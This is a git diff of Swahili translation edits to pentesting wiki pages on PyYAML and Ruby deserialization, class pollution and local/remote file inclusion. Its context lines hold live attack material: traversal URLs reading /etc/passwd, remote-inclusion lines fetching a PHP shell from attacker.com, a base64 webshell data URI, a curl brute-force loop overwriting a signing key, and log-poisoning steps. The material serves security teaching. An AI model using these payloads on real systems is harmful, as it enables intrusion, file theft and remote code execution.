python lililohifadhiwa au sifa za darasa**, bila Loader iliyotajwa katika load() au Loader=SafeLoader. +Kifungu kilichopita kilitumia **unsafe_load** kupakia darasa la python lililosanidiwa. Hii ni kwa sababu katika **toleo >= 5.1**, hairuhusu **kufanya deserialization ya darasa lolote la python lililosanidiwa au sifa za darasa**, bila Loader iliyotajwa katika load() au Loader=SafeLoader. ### Msingi wa Shambulio @@ -68,7 +68,7 @@ print(yaml.unsafe_load_all(data)) **Toleo za zamani** za pyyaml zilikuwa na udhaifu wa mashambulizi ya deserialization ikiwa **haukutaja Loader** unapopakua kitu: `yaml.load(data)` -Unaweza kupata [**maelezo ya udhaifu hapa**](https://hackmd.io/@defund/HJZajCVlP)**.** Pendekezo la **kuvamia** kwenye ukurasa huo ni: +Unaweza kupata [**maelezo ya udhaifu hapa**](https://hackmd.io/@defund/HJZajCVlP)**.** Utekelezaji **uliopendekezwa** katika ukurasa huo ni: ```yaml !!python/object/new:str state: !!python/tuple diff --git a/src/pentesting-web/deserialization/ruby-_json-pollution.md b/src/pentesting-web/deserialization/ruby-_json-pollution.md index bcbe2cb9c..93f1f98c4 100644 --- a/src/pentesting-web/deserialization/ruby-_json-pollution.md +++ b/src/pentesting-web/deserialization/ruby-_json-pollution.md @@ -4,9 +4,9 @@ Hii ni muhtasari kutoka kwenye posti [https://nastystereo.com/security/rails-_json-juggling-attack.html](https://nastystereo.com/security/rails-_json-juggling-attack.html) -## Taarifa za Msingi +## Basic information -Wakati wa kutuma mwili, baadhi ya thamani zisizoweza kuhesabiwa kama array zitaongezwa kwenye ufunguo mpya unaoitwa `_json`. Hata hivyo, inawezekana kwa mshambuliaji pia kuweka katika mwili thamani inayoitwa `_json` yenye thamani za kiholela anazotaka. Kisha, ikiwa backend kwa mfano inakagua ukweli wa parameter lakini pia inatumia parameter `_json` kufanya kitendo fulani, inaweza kufanyika kupita idhini. +Wakati wa kutuma mwili, baadhi ya thamani zisizoweza kuhashiwa kama array zitaongezwa kwenye ufunguo mpya unaoitwa `_json`. Hata hivyo, inawezekana kwa mshambuliaji pia kuweka katika mwili thamani inayoitwa `_json` yenye thamani za kiholela anazotaka. Kisha, ikiwa backend kwa mfano inakagua ukweli wa parameter lakini pia inatumia parameter `_json` kufanya kitendo fulani, inaweza kufanyika kupita idhini. ```json { "id": 123, diff --git a/src/pentesting-web/deserialization/ruby-class-pollution.md b/src/pentesting-web/deserialization/ruby-class-pollution.md index 3a972bfa8..06c4a616a 100644 --- a/src/pentesting-web/deserialization/ruby-class-pollution.md +++ b/src/pentesting-web/deserialization/ruby-class-pollution.md @@ -143,16 +143,16 @@ JSONMergerApp.run(json_input) ``` ### Maelezo -1. **Kuinua Mamlaka**: Njia ya `authorize` inakagua kama `to_s` inarudisha "Admin." Kwa kuingiza sifa mpya ya `to_s` kupitia JSON, mshambuliaji anaweza kufanya njia ya `to_s` irudishe "Admin," ikitoa mamlaka zisizoidhinishwa. -2. **Utendaji wa Msimbo wa Mbali**: Katika `health_check`, `instance_eval` inatekeleza mbinu zilizoorodheshwa katika `protected_methods`. Ikiwa mshambuliaji ataingiza majina ya mbinu maalum (kama `"puts 1"`), `instance_eval` itatekeleza hiyo, ikisababisha **utendaji wa msimbo wa mbali (RCE)**. -1. Hii inawezekana tu kwa sababu kuna **maagizo ya `eval` yenye udhaifu** yanayotekeleza thamani ya mfuatano huo. -3. **Kikomo cha Athari**: Udhaifu huu unahusisha tu mifano binafsi, ukiacha mifano mingine ya `User` na `Admin` isiyoathirika, hivyo kupunguza wigo wa unyakuzi. +1. **Kuinua Mamlaka**: Njia ya `authorize` inakagua kama `to_s` inarudisha "Admin." Kwa kuingiza sifa mpya ya `to_s` kupitia JSON, mshambuliaji anaweza kufanya njia ya `to_s` irudishe "Admin," ikitoa mamlaka zisizo halali. +2. **Utendaji wa Kanuni za Mbali**: Katika `health_check`, `instance_eval` inatekeleza njia zilizoorodheshwa katika `protected_methods`. Ikiwa mshambuliaji ataingiza majina ya njia za kawaida (kama `"puts 1"`), `instance_eval` itatekeleza hiyo, ikisababisha **utendaji wa kanuni za mbali (RCE)**. +1. Hii inawezekana tu kwa sababu kuna **maagizo ya `eval` yenye udhaifu** yanayotekeleza thamani ya mfuatano wa sifa hiyo. +3. **Kikomo cha Athari**: Udhaifu huu unahusisha tu mifano binafsi, ukiacha mifano mingine ya `User` na `Admin` bila kuathirika, hivyo kupunguza wigo wa unyakuzi. ### Mifano ya Uhalisia ### `deep_merge` ya ActiveSupport -Hii si dhaifu kwa default lakini inaweza kufanywa kuwa dhaifu kwa kitu kama: +Hii si yenye udhaifu kwa default lakini inaweza kufanywa kuwa na udhaifu kwa kitu kama: ```ruby # Method to merge additional data into the object using ActiveSupport deep_merge def merge_with(other_object) @@ -168,7 +168,7 @@ end ``` ### Hashie’s `deep_merge` -Njia ya `deep_merge` ya Hashie inafanya kazi moja kwa moja kwenye sifa za kitu badala ya hash za kawaida. In **zuia kubadilisha mbinu** na sifa katika mchanganyiko na **visingizio** fulani: sifa zinazomalizika na `_`, `!`, au `?` zinaweza bado kuunganishwa kwenye kitu. +Njia ya `deep_merge` ya Hashie inafanya kazi moja kwa moja kwenye sifa za kitu badala ya hash za kawaida. In **zuia kubadilisha mbinu** na sifa katika mchanganyiko na **visingizio** vingine: sifa zinazomalizika na `_`, `!`, au `?` zinaweza bado kuunganishwa kwenye kitu. Kesi maalum ni sifa **`_`** peke yake. Tu `_` ni sifa ambayo kawaida inarudisha kitu cha `Mash`. Na kwa sababu ni sehemu ya **visingizio**, inawezekana kuibadilisha. @@ -394,11 +394,11 @@ Ni inawezekana kubadilisha thamani ya sifa ya **`@@url`** ya darasa la mzazi **` ### **Kuchafua Darasa Nyingine** -Kwa payload hii: +Kwa kutumia payload hii: ```bash for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done ``` -Inawezekana kufanya brute-force kwa madarasa yaliyofafanuliwa na kwa wakati fulani kuharibu darasa **`KeySigner`** kwa kubadilisha thamani ya `signing_key` kuwa `injected-signing-key`.\ +Inawezekana kufanya brute-force kwa madarasa yaliyoainishwa na kwa wakati fulani kuharibu darasa **`KeySigner`** kwa kubadilisha thamani ya `signing_key` kuwa `injected-signing-key`.\ ## Marejeo diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 5dd26cee9..46b36904b 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -19,11 +19,11 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**Kuchanganya orodha kadhaa za \*nix LFI na kuongeza njia zaidi nimeunda hii:** +**Kuchanganya orodha kadhaa za \*nix LFI na kuongeza njia zaidi, nimeunda hii:** {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %} -Jaribu pia kubadilisha `/` kwa `\`\ +Jaribu pia kubadilisha `/` kuwa `\`\ Jaribu pia kuongeza `../../../../../` Orodha inayotumia mbinu kadhaa kupata faili /etc/password (kuangalia kama udhaifu upo) inaweza kupatikana [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) @@ -34,7 +34,7 @@ Mchanganyiko wa orodha tofauti za maneno: {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %} -Jaribu pia kubadilisha `/` kwa `\`\ +Jaribu pia kubadilisha `/` kuwa `\`\ Jaribu pia kuondoa `C:/` na kuongeza `../../../../../` Orodha inayotumia mbinu kadhaa kupata faili /boot.ini (kuangalia kama udhaifu upo) inaweza kupatikana [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) @@ -45,7 +45,7 @@ Angalia orodha ya LFI ya linux. ## Msingi wa LFI na njia za kupita -Mifano yote ni kwa ajili ya Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). +Mifano yote ni kwa ajili ya Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](/)). ``` http://example.com/index.php?page=../../../etc/passwd ``` @@ -74,15 +74,15 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### Kutoka kwenye folda iliyopo -Labda back-end inakagua njia ya folda: +Labda upande wa nyuma unakagua njia ya folda: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Kuchunguza Maktaba za Mfumo wa Faili kwenye Seva -Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kurudi ili kubaini maktaba, si tu faili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha maktaba na kuchunguza uwepo wa folda maalum. Hapa kuna njia ya kina ya kufanikisha hili: +Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kurudi ili kubaini maktaba, si tu faili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha maktaba na kuchunguza uwepo wa folda maalum. Hapa kuna mbinu ya kina ya kufanikisha hili: -1. **Baini Kina cha Maktaba:** Thibitisha kina cha maktaba yako ya sasa kwa kufanikiwa kupata faili ya `/etc/passwd` (inatumika ikiwa seva ina msingi wa Linux). Mfano wa URL unaweza kuwa na muundo kama ifuatavyo, ukionyesha kina cha tatu: +1. **Baini Kina cha Maktaba:** Thibitisha kina cha maktaba yako ya sasa kwa kufanikiwa kupata faili ya `/etc/passwd` (inatumika ikiwa seva ni ya Linux). Mfano wa URL unaweza kuwa na muundo kama ifuatavyo, ukionyesha kina cha tatu: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` @@ -119,11 +119,11 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -Katika hali hizi, idadi ya traversals inayohitajika inaweza kuwa karibu 2027, lakini nambari hii inaweza kubadilika kulingana na usanidi wa seva. +Katika hali hizi, idadi ya traversals inayohitajika inaweza kuwa karibu 2027, lakini nambari hii inaweza kutofautiana kulingana na usanidi wa seva. - **Kutumia Sehemu za Dot na Wahusika Wengine**: Mfuatano wa traversal (`../`) uliochanganywa na sehemu za dot za ziada na wahusika unaweza kutumika kuzunguka mfumo wa faili, kwa ufanisi ukipuuza nyongeza za mfuatano kutoka kwa seva. -- **Kujua Idadi Inayohitajika ya Traversals**: Kupitia majaribio na makosa, mtu anaweza kupata idadi sahihi ya mfuatano wa `../` inayohitajika kuzunguka hadi kwenye saraka ya mzizi na kisha hadi `/etc/passwd`, kuhakikisha kwamba nyongeza zozote (kama `.php`) zimeondolewa lakini njia inayotakiwa (`/etc/passwd`) inabaki salama. -- **Kuanza na Saraka ya Uongo**: Ni kawaida kuanza njia na saraka isiyo na uwepo (kama `a/`). Mbinu hii inatumika kama hatua ya tahadhari au kutimiza mahitaji ya mantiki ya uchambuzi wa njia ya seva. +- **Kujua Idadi Inayohitajika ya Traversals**: Kupitia majaribio na makosa, mtu anaweza kupata idadi sahihi ya mfuatano wa `../` inayohitajika kuingia kwenye saraka ya mzizi na kisha kwenye `/etc/passwd`, kuhakikisha kwamba nyongeza zozote (kama `.php`) zimeondolewa lakini njia inayotakiwa (`/etc/passwd`) inabaki salama. +- **Kuanza na Saraka ya Uongo**: Ni kawaida kuanza njia na saraka isiyokuwepo (kama `a/`). Mbinu hii inatumika kama hatua ya tahadhari au kutimiza mahitaji ya mantiki ya uchambuzi wa njia ya seva. Wakati wa kutumia mbinu za kupunguza njia, ni muhimu kuelewa tabia ya uchambuzi wa njia ya seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji mbinu tofauti, na majaribio mara nyingi yanahitajika ili kupata mbinu bora zaidi. @@ -139,7 +139,7 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -Katika php hii imezimwa kwa default kwa sababu **`allow_url_include`** ni **Off.** Inapaswa kuwa **On** ili ifanye kazi, na katika kesi hiyo unaweza kujumuisha faili ya PHP kutoka kwa seva yako na kupata RCE: +Katika php hii imezimwa kwa default kwa sababu **`allow_url_include`** ni **Off.** Inapaswa kuwa **On** ili ifanye kazi, na katika hali hiyo unaweza kujumuisha faili ya PHP kutoka kwa seva yako na kupata RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php @@ -162,7 +162,7 @@ Katika python katika msimbo kama huu: # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -Ikiwa mtumiaji atapita **njia kamili** kwa **`file_name`**, **njia ya awali inondolewa tu**: +Ikiwa mtumiaji atapita **njia kamili** kwa **`file_name`**, **njia ya awali inatolewa tu**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' @@ -173,7 +173,7 @@ Ni tabia iliyokusudiwa kulingana na [the docs](https://docs.python.org/3.10/libr ## Java Orodha ya Maktaba -Inaonekana kama una Path Traversal katika Java na unapo **omba maktaba** badala ya faili, **orodha ya maktaba inarudishwa**. Hii haitatokea katika lugha nyingine (kama ninavyofahamu). +Inaonekana kama una Path Traversal katika Java na unapo **omba maktaba** badala ya faili, **orodha ya maktaba inarudishwa**. Hii haitatokea katika lugha nyingine (kama ninavyojua). ## Vigezo 25 vya Juu @@ -216,27 +216,27 @@ PHP filters huruhusu kufanya **operesheni za mabadiliko ya msingi kwenye data** - `string.toupper` - `string.tolower` - `string.strip_tags`: Ondoa lebo kutoka kwa data (kila kitu kati ya herufi "<" na ">") -- Kumbuka kwamba filter hii imeondolewa katika toleo za kisasa za PHP +- Kumbuka kwamba filter hii imeondoka katika toleo za kisasa za PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Hubadilisha kuwa encoding tofauti (`convert.iconv..`). Ili kupata **orodha ya encodings zote** zinazoungwa mkono, endesha kwenye console: `iconv -l` +- `convert.iconv.*` : Inabadilisha kuwa uandishi tofauti (`convert.iconv..`). Ili kupata **orodha ya uandishi wote** unaoungwa mkono, endesha kwenye console: `iconv -l` > [!WARNING] -> Kutumia vibaya `convert.iconv.*` conversion filter unaweza **kuunda maandiko yasiyo na mipaka**, ambayo yanaweza kuwa na manufaa kuandika maandiko yasiyo na mipaka au kufanya kazi kama kuingiza mchakato wa maandiko yasiyo na mipaka. Kwa maelezo zaidi angalia [**LFI2RCE kupitia php filters**](lfi2rce-via-php-filters.md). +> Kutumia vibaya `convert.iconv.*` conversion filter unaweza **kuunda maandiko yasiyo na mipaka**, ambayo yanaweza kuwa na manufaa kuandika maandiko yasiyo na mipaka au kufanya kazi kama kuingiza mchakato maandiko yasiyo na mipaka. Kwa maelezo zaidi angalia [**LFI2RCE kupitia php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Bofya yaliyomo (inafaa ikiwa unatoa taarifa nyingi) +- `zlib.deflate`: Punguza maudhui (yanafaa ikiwa unatoa taarifa nyingi) - `zlib.inflate`: Rejesha data - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Imepitwa na wakati - `mdecrypt.*` : Imepitwa na wakati - Filters Nyingine -- Ukikimbia kwenye php `var_dump(stream_get_filters());` unaweza kupata couple ya **filters zisizotarajiwa**: +- Ukikimbia php `var_dump(stream_get_filters());` unaweza kupata couple ya **filters zisizotarajiwa**: - `consumed` -- `dechunk`: inarudisha encoding ya HTTP chunked +- `dechunk`: inarudisha uandishi wa HTTP chunked - `convert.*` ```php # String Filters @@ -265,19 +265,19 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> Sehemu "php://filter" haina tofauti ya herufi kubwa na ndogo +> Sehemu "php://filter" haina tofauti ya herufi ### Kutumia filters za php kama oracle kusoma faili zisizo za kawaida -[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili ya ndani bila kupata matokeo kutoka kwa seva. Mbinu hii inategemea **kuhamasisha boolean ya faili (karakteri kwa karakteri) kwa kutumia filters za php** kama oracle. Hii ni kwa sababu filters za php zinaweza kutumika kufanya maandiko kuwa makubwa vya kutosha ili php itupe hitilafu. +[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili ya ndani bila kupata matokeo kutoka kwa seva. Mbinu hii inategemea **kuhamasisha boolean ya faili (karakteri kwa karakteri) kwa kutumia filters za php** kama oracle. Hii ni kwa sababu filters za php zinaweza kutumika kufanya maandiko kuwa makubwa vya kutosha ili kufanya php itupe makosa. -Katika chapisho la awali unaweza kupata maelezo ya kina kuhusu mbinu hii, lakini hapa kuna muhtasari wa haraka: +Katika chapisho la asili unaweza kupata maelezo ya kina kuhusu mbinu hii, lakini hapa kuna muhtasari wa haraka: - Tumia codec **`UCS-4LE`** kuacha herufi inayoongoza ya maandiko mwanzoni na kufanya ukubwa wa mfuatano kuongezeka kwa kasi. -- Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya mwanzo inakisiwa kwa usahihi** kwamba php itasababisha **hitilafu** +- Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya mwanzo inakisiwa kwa usahihi** kwamba php itasababisha **kosa** - Filter ya **dechunk** it **ondoa kila kitu ikiwa herufi ya kwanza si hexadecimal**, hivyo tunaweza kujua ikiwa herufi ya kwanza ni hex. -- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi iliyokisiwa), itaturuhusu kukisia herufi mwanzoni mwa maandiko kwa kuona wakati tunafanya mabadiliko ya kutosha ili kufanya isiwe herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litafanya php ipate hitilafu. -- Codec **convert.iconv.UNICODE.CP930** inabadilisha kila herufi kuwa ifuatayo (hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tutatumia 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena herufi ya hexadecimal, kwa hivyo dechunk haikuondoa na hitilafu ya php inasababishwa kwa sababu inazidisha na bomu la awali. +- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi iliyokisiwa), itaturuhusu kukisia herufi mwanzoni mwa maandiko kwa kuona wakati tunafanya mabadiliko ya kutosha ili kufanya isiwe herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litafanya php ipate kosa. +- Codec **convert.iconv.UNICODE.CP930** inabadilisha kila herufi kuwa ifuatayo (hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tutatumia 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena herufi ya hexadecimal, kwa hivyo dechunk haikuondoa na kosa la php linachochewa kwa sababu linazidisha na bomu la awali. - Kutumia mabadiliko mengine kama **rot13** mwanzoni inawezekana kuvuja herufi nyingine kama n, o, p, q, r (na codecs nyingine zinaweza kutumika kuhamasisha herufi nyingine kwenye eneo la hex). - Wakati herufi ya mwanzo ni nambari inahitajika kuibua kwa base64 na kuvuja herufi 2 za kwanza ili kuvuja nambari. - Problemu ya mwisho ni kuona **jinsi ya kuvuja zaidi ya herufi ya mwanzo**. Kwa kutumia filters za kumbukumbu za agizo kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha agizo la herufi na kupata katika nafasi ya kwanza herufi nyingine za maandiko. @@ -287,7 +287,7 @@ Katika chapisho zana ya kufanya hii kiotomatiki pia ilivuja: [php_filters_chain_ ### php://fd -Wrapper hii inaruhusu kufikia waandishi wa faili ambao mchakato unao wazi. Inaweza kuwa na manufaa kuhamasisha maudhui ya faili zilizofunguliwa: +Wrapper hii inaruhusu kufikia viashiria vya faili ambavyo mchakato umefungua. Inaweza kuwa na manufaa kuhamasisha maudhui ya faili zilizofunguliwa: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); @@ -297,7 +297,7 @@ Unaweza pia kutumia **php://stdin, php://stdout na php://stderr** kufikia **file ### zip:// na rar:// Pakia faili la Zip au Rar lenye PHPShell ndani na ulifike.\ -Ili uweze kutumia protokali ya rar inahitaji **kuzima maalum**. +Ili uweze kutumia itifaki ya rar inahitaji **kuiwezesha kwa njia maalum**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -322,7 +322,7 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Kumbuka kwamba protokali hii imepunguzwa na mipangilio ya php **`allow_url_open`** na **`allow_url_include`** +Kumbuka kwamba protokali hii imepunguziliwa mbali na mipangilio ya php **`allow_url_open`** na **`allow_url_include`** ### expect:// @@ -366,7 +366,7 @@ phar-deserialization.md ### CVE-2024-2961 -Ilikuwa inawezekana kutumia **faili yoyote isiyo ya kawaida kusoma kutoka PHP inayounga mkono filters za php** kupata RCE. Maelezo ya kina yanaweza [**kupatikana katika chapisho hili**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +Ilikuwa inawezekana kutumia **faili yoyote isiyo ya kawaida iliyosomwa kutoka PHP inayounga mkono filters za php** kupata RCE. Maelezo ya kina yanaweza [**kupatikana katika chapisho hili**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ Muhtasari wa haraka: **overflow ya byte 3** katika PHP heap ilitumiwa kubadilisha **mnyororo wa vipande vya bure** vya ukubwa maalum ili kuweza **kuandika chochote katika anwani yoyote**, hivyo hook iliongezwa kuita **`system`**.\ Ilikuwa inawezekana kugawa vipande vya ukubwa maalum kwa kutumia filters zaidi za php. @@ -406,7 +406,7 @@ Ni muhimu **kutoa URL-encode hizi payloads**. > [!WARNING] > Mbinu hii inahusiana na hali ambapo unadhibiti **file path** ya **PHP function** ambayo itafanya **access a file** lakini huwezi kuona maudhui ya faili (kama wito rahisi kwa **`file()`**) lakini maudhui hayataonyeshwa. -Katika [**hiki chapisho cha ajabu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) inaelezwa jinsi blind path traversal inaweza kutumika vibaya kupitia PHP filter ili **kuondoa maudhui ya faili kupitia oracle ya makosa**. +Katika [**hiki kipande cha ajabu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) inaelezwa jinsi traversal ya njia ya kipofu inaweza kutumika vibaya kupitia PHP filter ili **kuondoa maudhui ya faili kupitia oracle ya makosa**. Kwa muhtasari, mbinu inatumia **"UCS-4LE" encoding** kufanya maudhui ya faili kuwa **makubwa** kiasi kwamba **PHP function inayofungua** faili itasababisha **makosa**. @@ -414,7 +414,7 @@ Kisha, ili kuvuja herufi ya kwanza, filter **`dechunk`** inatumika pamoja na nyi **Functions ambazo zinaweza kuwa na udhaifu**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (tu lengo kusoma tu na hii)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -Kwa maelezo ya kiufundi angalia chapisho lililotajwa! +Kwa maelezo ya kiufundi angalia kipande kilichotajwa! ## LFI2RCE @@ -424,12 +424,12 @@ Imeelezwa hapo awali, [**fuata kiungo hiki**](./#remote-file-inclusion). ### Kupitia faili la log la Apache/Nginx -Ikiwa seva ya Apache au Nginx ni **vulnerable to LFI** ndani ya kazi ya kujumuisha unaweza kujaribu kufikia **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, kuweka ndani ya **user agent** au ndani ya **GET parameter** shell ya php kama **``** na kujumuisha faili hiyo +Ikiwa seva ya Apache au Nginx ni **dhaifu kwa LFI** ndani ya kazi ya kujumuisha unaweza kujaribu kufikia **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, kuweka ndani ya **user agent** au ndani ya **GET parameter** shell ya php kama **``** na kujumuisha faili hiyo > [!WARNING] > Kumbuka kwamba **ikiwa unatumia nukuu mbili** kwa shell badala ya **nukuu rahisi**, nukuu mbili zitaondolewa kwa string "_**quote;**_", **PHP itatupa makosa** hapo na **hakuna kingine kitakachotekelezwa**. > -> Pia, hakikisha unandika **payload kwa usahihi** au PHP itakosea kila wakati inajaribu kupakia faili la log na hutakuwa na fursa ya pili. +> Pia, hakikisha unandika **sahihi payload** au PHP itakosea kila wakati inajaribu kupakia faili la log na hutakuwa na fursa ya pili. Hii inaweza pia kufanywa katika log nyingine lakini **kuwa makini,** msimbo ndani ya log unaweza kuwa URL encoded na hii inaweza kuharibu Shell. Kichwa **authorisation "basic"** kina "user:password" katika Base64 na kinatolewa ndani ya log. PHPShell inaweza kuingizwa ndani ya kichwa hiki.\ Njia nyingine zinazowezekana za log: @@ -462,7 +462,7 @@ Kama faili ya log, tuma payload katika User-Agent, itajitokeza ndani ya faili ya GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` -### Kupitia upakuaji +### Via upload Ikiwa unaweza kupakia faili, ingiza tu payload ya shell ndani yake (e.g : ``). ``` @@ -470,9 +470,9 @@ http://example.com/index.php?page=path/to/uploaded/file.png ``` Ili kuweka faili kuwa na uwezo wa kusomeka ni bora kuingiza kwenye metadata ya picha/doc/pdf -### Kupitia upakuaji wa faili la Zip +### Kupitia Upakuaji wa Faili ya Zip -Pakia faili la ZIP lililo na shell ya PHP iliyoshinikizwa na ufikie: +Pakua faili ya ZIP inayojumuisha shell ya PHP iliyoshinikizwa na ufikie: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` @@ -483,12 +483,12 @@ Angalia kama tovuti inatumia PHP Session (PHPSESSID) Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -Katika PHP, vikao hivi vinahifadhiwa kwenye _/var/lib/php5/sess\\_\[PHPSESSID]\_ faili +Katika PHP, vikao hivi vinahifadhiwa katika _/var/lib/php5/sess\\_\[PHPSESSID]\_ faili ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` -Seti cookie kuwa `` +Set the cookie to `` ``` login=1&user=&pass=password&lang=en_us.php ``` @@ -502,7 +502,7 @@ Ikiwa ssh inafanya kazi angalia ni mtumiaji gani anatumika (/proc/self/status & ### **Via** **vsftpd** _**logs**_ -Maktaba za seva ya FTP vsftpd ziko katika _**/var/log/vsftpd.log**_. Katika hali ambapo kuna udhaifu wa Local File Inclusion (LFI), na ufikiaji wa seva ya vsftpd iliyofichuliwa unapatikana, hatua zifuatazo zinaweza kuzingatiwa: +Maktaba za seva ya FTP vsftpd ziko katika _**/var/log/vsftpd.log**_. Katika hali ambapo kuna udhaifu wa Local File Inclusion (LFI), na ufikiaji wa seva ya vsftpd iliyofichuliwa unaruhusiwa, hatua zifuatazo zinaweza kuzingatiwa: 1. Ingiza payload ya PHP katika uwanja wa jina la mtumiaji wakati wa mchakato wa kuingia. 2. Baada ya kuingiza, tumia LFI kupata maktaba za seva kutoka _**/var/log/vsftpd.log**_. @@ -541,7 +541,7 @@ lfi2rce-via-nginx-temp-files.md ### Kupitia PHP_SESSION_UPLOAD_PROGRESS -Ikiwa umepata **Local File Inclusion** hata kama **huna kikao** na `session.auto_start` ni `Off`. Ikiwa unatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika **data ya multipart POST**, PHP itafanya **kikao kwa ajili yako**. Unaweza kutumia hii vibaya kupata RCE: +Ikiwa umepata **Local File Inclusion** hata kama **huna session** na `session.auto_start` iko `Off`. Ikiwa unatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika **data ya multipart POST**, PHP itafanya **session iweze kwako**. Unaweza kutumia hii vibaya kupata RCE: {{#ref}} via-php_session_upload_progress.md @@ -580,7 +580,7 @@ lfi2rce-via-phpinfo.md ### Kupitia compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Ikiwa umepata **Local File Inclusion** na unaweza **kuondoa njia** ya faili ya muda LAKINI **server** inakagua ikiwa **faili inayopaswa kujumuishwa ina alama za PHP**, unaweza kujaribu **kuzidi ukaguzi huo** kwa kutumia **Race Condition**: +Ikiwa umepata **Local File Inclusion** na unaweza **kuondoa njia** ya faili ya muda LAKINI **server** inakagua ikiwa **faili inayopaswa kujumuishwa ina alama za PHP**, unaweza kujaribu **kuzidi ukaguzi huo** na **Race Condition** hii: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md @@ -588,7 +588,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### Kupitia kusubiri milele + bruteforce -Ikiwa unaweza kutumia LFI ili **kupakia faili za muda** na kufanya server 